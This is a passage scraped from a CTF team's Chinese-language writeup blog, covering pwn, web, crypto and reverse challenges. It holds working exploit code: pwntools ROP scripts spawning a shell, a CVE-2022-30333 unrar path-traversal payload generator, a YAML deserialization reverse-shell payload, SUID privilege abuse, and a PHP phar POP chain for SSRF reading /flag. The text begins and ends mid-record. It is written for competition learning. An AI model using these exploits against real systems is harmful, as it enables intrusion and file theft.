p.sendline(b\u0026#39;a\u0026#39; * 0xc8 + b\u0026#39;\\x00\u0026#39; + canary + b\u0026#39;b\u0026#39; * 8 + payload)​ ​ p.interactive() pwn1-1 +---------------+​\r|. index. |​\r+---------------+​\r| buffer |​\r+---------------+​\r|. \u0026amp;buffer. |​\r+---------------+​\r| \u0026amp;index. |​\r+---------------+ 泄漏\u0026amp;buffer​ 修改\u0026amp;buffer同时修改\u0026amp;index​ 写入payload\nfrom pwn import *​ ​ context.log_level = \u0026#39;debug\u0026#39;​ context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;, \u0026#39;-F\u0026#39;, \u0026#39;#{pane_pid}\u0026#39;, \u0026#39;-P\u0026#39;]​ ​ p = process(\u0026#39;./pwn1-1\u0026#39;)​ ​ func_func_addr = 0x12A0​ pop_rdi_ret = 0x1943​ call_system = 0x11A2​ binsh_addr = 0x4050​ ​ p.recvuntil(b\u0026#39;try something\\n\u0026#39;)​ p.sendline(b\u0026#39;1\u0026#39;)​ ​ p.recvuntil(b\u0026#39;some tricks\\n\u0026#39;)​ func_addr = p.recvline()​ func_addr = int(func_addr.strip(), 16)​ print (f\u0026#39;func_addr: {hex(func_addr)}\u0026#39;)​ ​ base_addr = func_addr - func_func_addr​ ​ p.sendline(b\u0026#39;2\u0026#39;)​ p.recvuntil(b\u0026#39;hello\u0026#39;)​ ​ gdb.attach(p, \u0026#39;b *$rebase(0x1423)\u0026#39;)​ p.sendline(b\u0026#39;a\u0026#39; * (0xe0 - 1))​ p.recvline()​ p.recvline()​ buf_value = u64(p.recv(6) + b\u0026#39;\\x00\\x00\u0026#39;)​ print (f\u0026#39;buf = {hex(buf_value)}\u0026#39;)​ ​ payload = p64(base_addr + pop_rdi_ret)​ payload += p64(base_addr + binsh_addr)​ payload += p64(base_addr + call_system)​ # p.sendline(payload)​ p.sendline(p64(1) + b\u0026#39;a\u0026#39; * (0xe0 - 8) + p64(buf_value + 0xf8) + p64(buf_value) + b\u0026#39;b\u0026#39; * 8 + payload)​ # p.recvline()​ ​ p.interactive() web_mimic Ctrl+U在源码中看到NTLM hash和encrypt word，NTLM hash在线解密得到密钥123，DES在线解密密文得到以下信息：​\n1.maybe used first url get random:​\r/mimic_storage​\r​\r​\r2.maybe used second url get flag:​\r/getflag?sec=random\u0026amp;path=xxxx​\r​\rxxx is:​\rbAzlsD1ChiFW5eMC5tUokHErPkdjqARE 按照步骤拿到random、xxx，url传参拿到flag。​\n","date":"2022-11-07T19:00:00+08:00","permalink":"https://or4ngesec.github.io/post/qwnt-writeup-by-or4nge/","title":"“强网”拟态 Writeup by or4nge"},{"content":"Web web669 审源码，发现存在路径穿越（双写绕过过滤）； 读/etc/hosts，找到secret-key为engine-1，用flask-session-manager跑出来管理员的session 文件上传unrar任意写漏洞（CVE-2022-30333），ruby脚本跑一下，上传。注意md5值。\nrequire \u0026#39;zlib\u0026#39; if ARGV.length != 2 $stderr.puts \u0026#34;Usage: ruby ./create-payload \u0026lt;../../target/file\u0026gt; \u0026lt;filename to read payload from\u0026gt;\u0026#34; $stderr.puts $stderr.puts \u0026#34;Eg: $ ruby ./create-payload.rb \u0026#39;../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp\u0026#39; ./reverse-tcp-4444.jsp\u0026#34; exit end SYMLINK_LENGTH = 0x68 PAYLOAD_SYMLINK = (ARGV[0] + \u0026#34;\\0\u0026#34;).ljust(SYMLINK_LENGTH, \u0026#34;\\0\u0026#34;).gsub(\u0026#39;/\u0026#39;, \u0026#39;\\\\\u0026#39;) if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH $stderr.puts \u0026#34;Payload symlink is invalid, probably too long!\u0026#34; exit end PAYLOAD_LENGTH = 0x1000 PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, \u0026#34;\\0\u0026#34;) if PAYLOAD_DATA.length != PAYLOAD_LENGTH $stderr.puts \u0026#34;Payload data is invalid, probably too long!\u0026#34; exit end FILENAME_LENGTH = 0x0c FILENAME = \u0026#34;DONTLOOKATME\u0026#34; RAR = \u0026#34;\\x52\\x61\\x72\\x21\\x1a\\x07\\x01\\x00\\xf3\\xe1\\x82\\xeb\\x0b\\x01\\x05\\x07\\x00\\x06\\x01\\x01\\x80\\x80\\x80\\x00\\x9e\\xe2\\xc4\\xf5\\x94\\x01\\x02\\x03\\x78\\x00\\x04\\x00\\xa0\\x08\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x0c\u0026#34; RAR.concat(FILENAME) # Symlink filename RAR.concat(\u0026#34;\\x0a\\x03\\x02\\xae\\xf0\\x37\\x1c\\x91\\x98\\xd8\\x01\\x6c\\x05\\x02\\x00\\x68\u0026#34;) RAR.concat(PAYLOAD_SYMLINK) RAR.concat(\u0026#34;\\xf3\\xa1\\x93\\x68\\x28\\x02\\x03\\x0b\\x80\\x20\\x04\\x80\\x20\\x20\u0026#34;) RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack(\u0026#39;V\u0026#39;)) RAR.concat(\u0026#34;\\x80\\x00\\x00\\x0c\u0026#34;) RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it) RAR.concat(\u0026#34;\\x0a\\x03\\x02\\x00\\x36\\xe3\\x00\\x91\\x98\\xd8\\x01\u0026#34;) RAR.concat(PAYLOAD_DATA) RAR.concat(\u0026#34;\\x1d\\x77\\x56\\x51\\x03\\x05\\x04\\x00\u0026#34;) print RAR ruby ./cve-2022-30333.rb \u0026#39;../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml\u0026#39; ./test.yaml \u0026gt; 3.rar 左右括号和system用编码绕，tuple用bytes绕\n!!python/object/new:bytes - !!python/object/new:map - !!python/name:eval - [\u0026#34;__import__\\x28\u0026#39;os\u0026#39;\\x29.\\x73ystem\\x28\u0026#39;【command】\u0026#39;\\x29\u0026#34;] 访问/payload?display=3 反弹shell\nfind / -user root -perm -4000 -print 2\u0026gt;/dev/null 看到dd有suid dd if=/flag即可\nPwn pwn497 非预期做法，在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load，使用它执行flag即可得解\n/lib/systemd/systemd-modules-load flag Crypto crypto091 查询可得1709号段为联通的最初号码，用以下脚本爆破可得答案。\nimport hashlib hv = \u0026#39;c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc\u0026#39; i = 0 while True: psw = \u0026#39;861709\u0026#39; psw += str(i).zfill(7) m = hashlib.sha256() m.update(psw.encode()) res = m.hexdigest() print(psw, res) if res == hv: break i += 1 crypto405 用脚本处理txt\nf = open(\u0026#39;output.txt\u0026#39;, \u0026#39;r\u0026#39;) l = [] for i in range(41): rl = f.readline() numStr = rl[15:19] l.append(int(numStr, 16)) 由提示flag{为前5字符，未知数也有5个，可通过方程得$k$参数。$p$不知道，但范围只有30000+，尝试爆破，后来发现$p$至少大于57000，由$\\mod p$后的最大值可得，爆破范围只有8000+，爆破即得答案。\nrl = [8294, 41506, 52145, 56244, 57012, 45509, 13220, 49233, 15225, 27640, 8497, 11328, 37306, 31556, 24357, 520, 32475, 25269, 52933, 23219, 15430, 49778, 29003, 40459, 18670, 17612, 1440, 15779, 4529, 9631, 35229, 41264, 58767, 9203, 22569, 27627, 13953, 84, 41353, 10085, 50749] def MillerRabinTest(p, k=10): from random import randint if p \u0026lt; 2: return False if p \u0026lt;= 3: return True if p \u0026amp; 1 == 0: return False s = 0 m = p - 1 while m and m \u0026amp; 1 == 0: s += 1 m \u0026gt;\u0026gt;= 1 for j in range(k): randomi = randint(2, p - 2) if gcd(randomi, p) != 1: return False b = pow(randomi, m, p) if b == 1 or b == p - 1: continue for i in range(s - 1): b = pow(b, 2, p) if b == 1: return False if b == p - 1: break else: return False return True rn = [ord(\u0026#39;f\u0026#39;), ord(\u0026#39;l\u0026#39;), ord(\u0026#39;a\u0026#39;), ord(\u0026#39;g\u0026#39;), ord(\u0026#39;{\u0026#39;)] p = 57000 while True: flag=\u0026#39;\u0026#39; if MillerRabinTest(p): eqs=[] kt=[] kl=[] R=GF(p) k=list(var(\u0026#39;k_%d\u0026#39;%i) for i in range(5)) for i in range(5): kt.append(k[i]) for i in range(5): if i!=0: kt[0]=rn[i-1]*kt[0] kt[1]*=kt[0] kt[2]*=kt[1] kt[3]*=kt[2] kt[4]*=kt[3] le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4] equ=(le==rl[i]) eqs.append(equ) res=solve(eqs,k,solution_dict=True) for i in range(5): tmp=res[0][k[i]] ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1) kl.append(ktmp) pd=0 for i in range(41): ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4] cr=R(rl[i])*(ks)^(-1) flag+=str(chr(int(cr))) if 31\u0026lt;cr\u0026lt;128: kl[0]=cr*kl[0] kl[1]*=kl[0] kl[2]*=kl[1] kl[3]*=kl[2] kl[4]*=kl[3] else: pd=1 print(i) break if pd==0: print(kl) print(p) print(flag) break print(p) p += 1 crypto162 递推可划为矩阵乘法。正向是矩阵乘法。 矩阵乘法有$O(log n)$级的算法。故可以解决。 矩阵快速幂：\ncof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] sum=0 for i in range(100): M=matrix([cof_t[i],[1,0,0],[0,1,0]]) Mf=M^(200000-2) v = matrix(3,1,[3,2,1]) vf=Mf*v sum+=vf[0][0] print(str(sum)[-2000:-1000]) 解密得flag：\nfrom hashlib import md5, sha256 s = \u0026#39;8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748\u0026#39; key = md5(s.encode()).hexdigest() key = bytes.fromhex(key) check = sha256(key).hexdigest() print(check) from Crypto.Cipher import AES from hashlib import md5, sha256 s = \u0026#39;8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748\u0026#39; key = md5(s.encode()).hexdigest() key = bytes.fromhex(key) aes = AES.new(key, AES.MODE_ECB) data = \u0026#39;4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87\u0026#39; data=bytes.fromhex(data) print(aes.decrypt(data)) Reverse re694 动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分 分析发现，该代码块调用多处加密，具体为0x1400119B0,0x140011840 加密过程易得为\ns[i]=((s[i]^0x66)+10)^0x50 与结果数组比较即可\na = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A, 0x79, 0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64] for i in a: print(chr(((i ^ 0x50)-10) ^ 0x66), end=\u0026#39;\u0026#39;) re693 转换初始数组或编译运行程序得到print内容为\nInput the first function, which has 6 parameters and the third named gLIhR:\rInput the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6: 第一处提示可直接搜索函数得到对应的函数名：ZlXDJkH3OZN4Mayd 第二处提示可使用脚本搜索\ntext = open(\u0026#39;challenge\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\\n\u0026#39;) text2 = [i.split(\u0026#39;\\n\u0026#39;) for i in text] for i in text2: if len(i) == 6: x = i[4].split(\u0026#39;(\u0026#39;)[0][-16:] if i[4].split(\u0026#39;(\u0026#39;)[0][-16:] == \u0026#39;cHZv5op8rOmlAkb6\u0026#39;: str1 = i[0].split(\u0026#39; \u0026#39;)[1][:-2] time = 0 for j in text2: for k in j: if k.find(str1) \u0026gt; -1: time += 1 if time == 6: print(str1) 得到两处函数名，在程序输入即可 Misc 签到 知识问答。搜索答案提交即可。\n","date":"2022-08-31T11:45:17+08:00","permalink":"https://or4ngesec.github.io/post/wdb2022-writeup-by-or4nge/","title":"2022网鼎杯初赛 Writeup by or4nge"},{"content":"Web babyweb 任意注册，main 路由下 websocket 可以让管理员访问任意 ip:port，修改密码，在自己 vps 上构造 script 来 csrf：\n\u0026lt;script\u0026gt; var ws = null; var url = \u0026#34;ws://\u0026#34; + \u0026#34;127.0.01:port\u0026#34; + \u0026#34;/bot\u0026#34;; ws = new WebSocket(url); ws.onopen = function (event) { var msg = document.getElementById(\u0026#34;sendbox\u0026#34;).value; ws.send(\u0026#34;changepwd 123456\u0026#34;); } \u0026lt;/script\u0026gt; 修改密码后拿到 hint，后台是个 go，利用 python 和 go 对 json 字段理解不同双鞋相同字段前后绕过，设置购买数量为负数后购买flag即可。\neasyweb http://47.104.95.124:8080/showfile.php?f=./demo/../class.php 任意文件读，审计发现触发 adminShow 的 show 可以 ssrf。 注意到 session 没开启，用 PHP_SESSION_UPLOAD_PROGRESS 强制开启 session_start() 来上传文件：\nPOST /index.php HTTP/1.1 Host: 47.104.95.124:8080 Content-Length: 400 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://47.104.95.124:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvR1Uq45sbhgKPcuw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://47.104.95.124:8080/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=eyJ1c2VyIjoiYWRtaW4ifQ Connection: close ------WebKitFormBoundaryvR1Uq45sbhgKPcuw Content-Disposition: form-data; name=\u0026#34;PHP_SESSION_UPLOAD_PROGRESS\u0026#34; 123 ------WebKitFormBoundaryvR1Uq45sbhgKPcuw 通过 phar 反序列化触发 ssrf，构造 pop 链：通过先 wakeup，然后在 destruct 后重新赋值的方式来构造 url 进行触发。\n\u0026lt;?php use AdminShow as GlobalAdminShow; use GuestShow as GlobalGuestShow; class Upload { public $file; public $filesize; public $date; public $tmp; public function __construct(){ $this-\u0026gt;file = $_FILES[\u0026#34;file\u0026#34;]; } function do_upload() { $filename = session_id().explode(\u0026#34;.\u0026#34;,$this-\u0026gt;file[\u0026#34;name\u0026#34;])[0].\u0026#34;.jpg\u0026#34;; if(file_exists($filename)) { unlink($filename); } move_uploaded_file($this-\u0026gt;file[\u0026#34;tmp_name\u0026#34;],$filename); echo \u0026#39;upload\u0026#39;.$this-\u0026gt;e($filename).\u0026#39; success!\u0026#39;; } function e($str){ return htmlspecialchars($str); } function upload() { if($this-\u0026gt;check()) { $this-\u0026gt;do_upload(); } } public function __toString(){ return $this-\u0026gt;file[\u0026#34;name\u0026#34;]; } public function __get($value){ $this-\u0026gt;filesize-\u0026gt;$value = $this-\u0026gt;date; echo $this-\u0026gt;tmp; } function check() { $allowed_types = array(\u0026#34;jpg\u0026#34;,\u0026#34;png\u0026#34;,\u0026#34;jpeg\u0026#34;); $temp = explode(\u0026#34;.\u0026#34;,$this-\u0026gt;file[\u0026#34;name\u0026#34;]); $extension = end($temp); if(in_array($extension,$allowed_types)) { return true; } else { echo \u0026#39;Invalid file!\u0026#39;; return false; } } } class GuestShow{ public $file; public $contents; public $name; public function __construct($file) { $this-\u0026gt;file=$file; } public function __toString(){ echo \u0026#34;guest tostring\u0026#34;; $str = $this-\u0026gt;file-\u0026gt;name; return \u0026#34;\u0026#34;; } public function __get($value){ return $this-\u0026gt;$value; } function show() { $this-\u0026gt;contents = file_get_contents($this-\u0026gt;file); $src = \u0026#34;data:jpg;base64,\u0026#34;.base64_encode($this-\u0026gt;contents); echo \u0026#34;\u0026lt;img src={$src} /\u0026gt;\u0026#34;; } public function __destruct(){ echo $this; } } class AdminShow{ public $source; public $str; public $filter; public function __construct($file) { $this-\u0026gt;source = $file; } public function __toString() { $content = $this-\u0026gt;str[0]-\u0026gt;source; $content = $this-\u0026gt;str[1]-\u0026gt;schema; return \u0026#34;1\u0026#34;; } public function __get($value){ $this-\u0026gt;show(); return $this-\u0026gt;$value; } public function __set($key,$value){ $this-\u0026gt;$key = $value; } public function show(){ $url = $this-\u0026gt;schema . $this-\u0026gt;source; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = \u0026#34;data:jpg;base64,\u0026#34;.base64_encode($response); echo \u0026#34;\u0026lt;img src={$src} /\u0026gt;\u0026#34;; } public function __wakeup() { echo \u0026#34;wakeup\u0026#34;; if ($this-\u0026gt;schema !== \u0026#39;file:///var/www/html/\u0026#39;) { $this-\u0026gt;schema = \u0026#39;file:///var/www/html/\u0026#39;; } if ($this-\u0026gt;source !== \u0026#39;admin.png\u0026#39;) { $this-\u0026gt;source = \u0026#39;admin.png\u0026#39;; } } } if(isset($_GET[1])){ unserialize($_GET[1]); die(); } $filename = \u0026#34;testmysql.php\u0026#34;; $g0 = new GuestShow($filename); $g1 = new GuestShow($filename); $a0 = new AdminShow($filename); $a1 = new AdminShow($filename); $u0 = new Upload(); $u1 = new Upload(); $u2 = new Upload(); $u1-\u0026gt;filesize = $a0; $u1-\u0026gt;date = \u0026#34;/etc/passwd\u0026#34;; $u2-\u0026gt;filesize = $a0; $u2-\u0026gt;date = \u0026#34;file://\u0026#34;; $g1-\u0026gt;file = $a0; $u2-\u0026gt;tmp = $g1; $a0-\u0026gt;str[0] = $u1; $a0-\u0026gt;str[1] = $u2; $u0-\u0026gt;tmp = $a0; $g0-\u0026gt;file = $u0; $phar = new Phar(\u0026#34;aa.phar\u0026#34;); $phar-\u0026gt;startBuffering(); $phar-\u0026gt;addFromString(\u0026#34;test.txt\u0026#34;, \u0026#34;test\u0026#34;); $phar-\u0026gt;setStub(\u0026#34;\u0026lt;?php__HALT_COMPILER(); ?\u0026gt;\u0026#34;); $phar-\u0026gt;setMetadata($g0); $phar-\u0026gt;stopBuffering(); 任意文件读 /proc/1/net/arp，截取部分发现内网存在 10.10.10.10 这个服务\nIP address HW type Flags HW address Mask Device 10.10.10.2 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.14 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.12 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1 10.10.10.8 0x1 0x0 00:00:00:00:00:00 * eth1 172.18.0.1 0x1 0x2 02:42:e8:30:05:41 * eth0 172.18.0.178 0x1 0x0 00:00:00:00:00:00 * eth0 172.18.0.176 0x1 0x0 00:00:00:00:00:00 * eth0 用 http 协议 ssrf 过去发现是个 nginx 的 php，有一处 ssrf，直接请求 http://10.10.10.10/index.php?url=file:///flag 即可。\nReverse find_basic 动调发现有多个函数都有虚拟机结构，输入部分在 0x4942 处，继续调试进入加密部分 0x750A9，它由几百个类似的代码块构成，每个代码块调用的函数都有数个操作码，难以普通地归类，故使用 idapython 动调脚本提取代码\nfrom binascii import hexlify ea = get_reg_value(\u0026#39;eip\u0026#39;) end = ea + 0x1806 main_func = get_func_name(ea) fp = open(\u0026#39;all_asm.txt\u0026#39;,\u0026#39;w\u0026#39;) while True: ea = get_reg_value(\u0026#39;eip\u0026#39;) next_ea = next_head(ea) fp.write(hexlify(get_bytes(ea, next_ea - ea)).decode()) fp.write(\u0026#39;\\t\u0026#39; + GetDisasm(ea)+\u0026#39;\\n\u0026#39;) if ea \u0026gt;= end: break if main_func == get_func_name(ea): step_into() else: step_over() wait_for_next_event(WFNE_SUSP, -1) 然后观察特征，使用jnz和jmp指令作为子模块的标识，进一步提取\ncodes = open(\u0026#39;all_asm.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\u0026#39;) c = open(\u0026#39;asm.txt\u0026#39;, \u0026#39;w\u0026#39;) for i in range(len(codes)): if codes[i].find(\u0026#39;jnz\u0026#39;) != -1 and codes[i+2].find(\u0026#39;jnz\u0026#39;) == -1: j = i+3 while j \u0026lt; len(codes) and codes[j].find(\u0026#39;jmp\u0026#39;) == -1: c.write(codes[j]+\u0026#39;\\n\u0026#39;) j += 1 codes = open(\u0026#39;asm.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\u0026#39;) codes = [i[:i.find(\u0026#39;\\t\u0026#39;)] for i in codes] datas = b\u0026#39;\u0026#39; for i in codes: datas += unhexlify(i) datas += \u0026#39;\\xc3\u0026#39; print(datas) open(\u0026#39;mch1\u0026#39;, \u0026#39;wb\u0026#39;).write(datas) 将对应的机器码写入文件里，并补齐栈平衡以及函数返回，使用 ida 反调试得到清晰的结构\n根据提示中的绝对值相关列出数个方程，z3 求解即可\nfrom z3 import * a1 = [BitVec(\u0026#39;x%d\u0026#39; % i, 32)for i in range(28)] con1 = 40085 * a1[3]\\ - 222506 * a1[2]\\ + 54507 * a1[4]\\ + 88056 * a1[1]\\ + 212571 * a1[5]\\ - 160722 * a1[0]\\ - 434973 con2 = 49300 * a1[3]\\ + 259229 * a1[0]\\ + 278066 * a1[2]\\ - 127937 * a1[1]\\ - 295169 * a1[4]\\ - 8368677 con3 = 42214 * a1[1]\\ - 108025 * a1[3]\\ + 205972 * a1[0]\\ + 27559 * a1[2]\\ - 17114904 con4 = - 151496 * a1[1]\\ + 204740 * a1[0]\\ + 80143 * a1[2]\\ - 12295783 con5 = 241935 * a1[1]\\ + 124128 * a1[0]\\ - 38790036 con6 = 273221 * a1[0]\\ - 27868542 con7 = -279656 * a1[2]\\ - 199574 * a1[1]\\ - 258130 * a1[8]\\ - 200399 * a1[3]\\ - 173903 * a1[7]\\ + 175816 * a1[0]\\ - 234569 * a1[6]\\ - 108273 * a1[4]\\ - 222957 * a1[5]\\ + 128244179 con8 = - 81541 * a1[1]\\ - 268763 * a1[0]\\ + 219073 * a1[3]\\ + 34782 * a1[6]\\ + 21153 * a1[5]\\ + 173005 * a1[7]\\ + 76285 * a1[4]\\ + 32825 * a1[2]\\ - 13874925 con9 = 85214 * a1[2]\\ - 268299 * a1[3]\\ - 230981 * a1[1]\\ + 290772 * a1[5]\\ - 74394 * a1[4]\\ + 28044 * a1[6]\\ - 242995 * a1[0]\\ + 50871139 con10 = -279656 * a1[2]\\ - 199574 * a1[1]\\ - 258130 * a1[8]\\ - 200399 * a1[3]\\ - 173903 * a1[7]\\ + 175816 * a1[0]\\ - 234569 * a1[6]\\ - 108273 * a1[4]\\ - 222957 * a1[5]\\ + 128244179 con11 = - 81541 * a1[1]\\ - 268763 * a1[0]\\ + 219073 * a1[3]\\ + 34782 * a1[6]\\ + 21153 * a1[5]\\ + 173005 * a1[7]\\ + 76285 * a1[4]\\ + 32825 * a1[2]\\ - 13874925 con12 = 85214 * a1[2]\\ - 268299 * a1[3]\\ - 230981 * a1[1]\\ + 290772 * a1[5]\\ - 74394 * a1[4]\\ + 28044 * a1[6]\\ - 242995 * a1[0]\\ + 50871139 con13 = -208564 * a1[0]\\ + 81934 * a1[9]\\ - 106641 * a1[7]\\ + 198477 * a1[2]\\ + 154505 * a1[1]\\ + 48440 * a1[5]\\ - 149004 * a1[3]\\ - 108909 * a1[4]\\ - 51714 * a1[10]\\ - 296420 * a1[8]\\ + 263021 * a1[6]\\ + 688726 con14 = - 131130 * a1[2]\\ + 224265 * a1[3]\\ + 230702 * a1[0]\\ - 176285 * a1[7]\\ - 274778 * a1[4]\\ + 103848 * a1[8]\\ - 136039 * a1[9]\\ - 241151 * a1[5]\\ + 15542 * a1[6]\\ - 17521 * a1[1]\\ + 41644083 con15 = 195056 * a1[4]\\ - 15717 * a1[9]\\ - 180214 * a1[6]\\ - 114427 * a1[5]\\ + 277782 * a1[7]\\ + 261379 * a1[8]\\ - 225266 * a1[2]\\ + 107609 * a1[0]\\ + 259792 * a1[3]\\ + 270563 * a1[11]\\ + 205124 * a1[1]\\ + 138334 * a1[10]\\ + 103474 * a1[12]\\ - 117027475 con16 = 189573 * a1[8]\\ + 64393 * a1[6]\\ + 231137 * a1[1]\\ + 145315 * a1[4]\\ - 53938 * a1[10]\\ - 291345 * a1[5]\\ + 216413 * a1[3]\\ - 204681 * a1[0]\\ - 65519 * a1[9]\\ - 262826 * a1[2]\\ + 187002 * a1[7]\\ + 271732 * a1[11]\\ - 38663722 con17 = 15645 * a1[13]\\ + 276267 * a1[12]\\ + 31190 * a1[5]\\ - 244002 * a1[2]\\ + 81415 * a1[3]\\ - 22940 * a1[10]\\ - 126076 * a1[7]\\ + 8932 * a1[8]\\ + 112153 * a1[4]\\ + 194218 * a1[11]\\ + 197656 * a1[9]\\ - 204463 * a1[0]\\ - 219500 * a1[1]\\ + 19777 * a1[6]\\ - 24531260 con18 = 279969 * a1[8]\\ - 123977 * a1[4]\\ + 162094 * a1[0]\\ - 215769 * a1[1]\\ - 18878 * a1[14]\\ - 80292 * a1[11]\\ - 237675 * a1[5]\\ - 222121 * a1[6]\\ + 269381 * a1[12]\\ + 153934 * a1[13]\\ - 165380 * a1[10]\\ - 157137 * a1[2]\\ - 186748 * a1[3]\\ + 170756 * a1[7]\\ - 186932 * a1[9]\\ + 87264470 con19 = -87190 * a1[2]\\ - 74836 * a1[1]\\ + 16892 * a1[9]\\ - 185781 * a1[8]\\ - 12726 * a1[7]\\ + 85022 * a1[12]\\ + 232989 * a1[10]\\ + 68516 * a1[0]\\ - 120254 * a1[6]\\ - 204892 * a1[5]\\ - 65901 * a1[4]\\ - 201087 * a1[13]\\ + 158612 * a1[11]\\ - 49445 * a1[3]\\ - 181860 * a1[14]\\ - 111015 * a1[15]\\ + 43646834 con20 = -170184 * a1[3]\\ - 137671 * a1[4]\\ - 85374 * a1[9]\\ - 73658 * a1[11]\\ + 230891 * a1[13]\\ + 54346 * a1[15]\\ - 280694 * a1[0]\\ + 60411 * a1[2]\\ + 27171 * a1[7]\\ - 50618 * a1[6]\\ + 11843 * a1[10]\\ + 131778 * a1[5]\\ + 13956 * a1[8]\\ - 42562 * a1[12]\\ - 19972 * a1[1]\\ - 145797 * a1[14]\\ - 58717 * a1[16]\\ + 74613584 con21 = 242475 * a1[16]\\ - 234385 * a1[0]\\ + 124653 * a1[2]\\ - 287929 * a1[13]\\ - 190916 * a1[12]\\ - 277578 * a1[11]\\ + 39 * a1[8]\\ - 41625 * a1[6]\\ + 67262 * a1[5]\\ - 250144 * a1[9]\\ - 70886 * 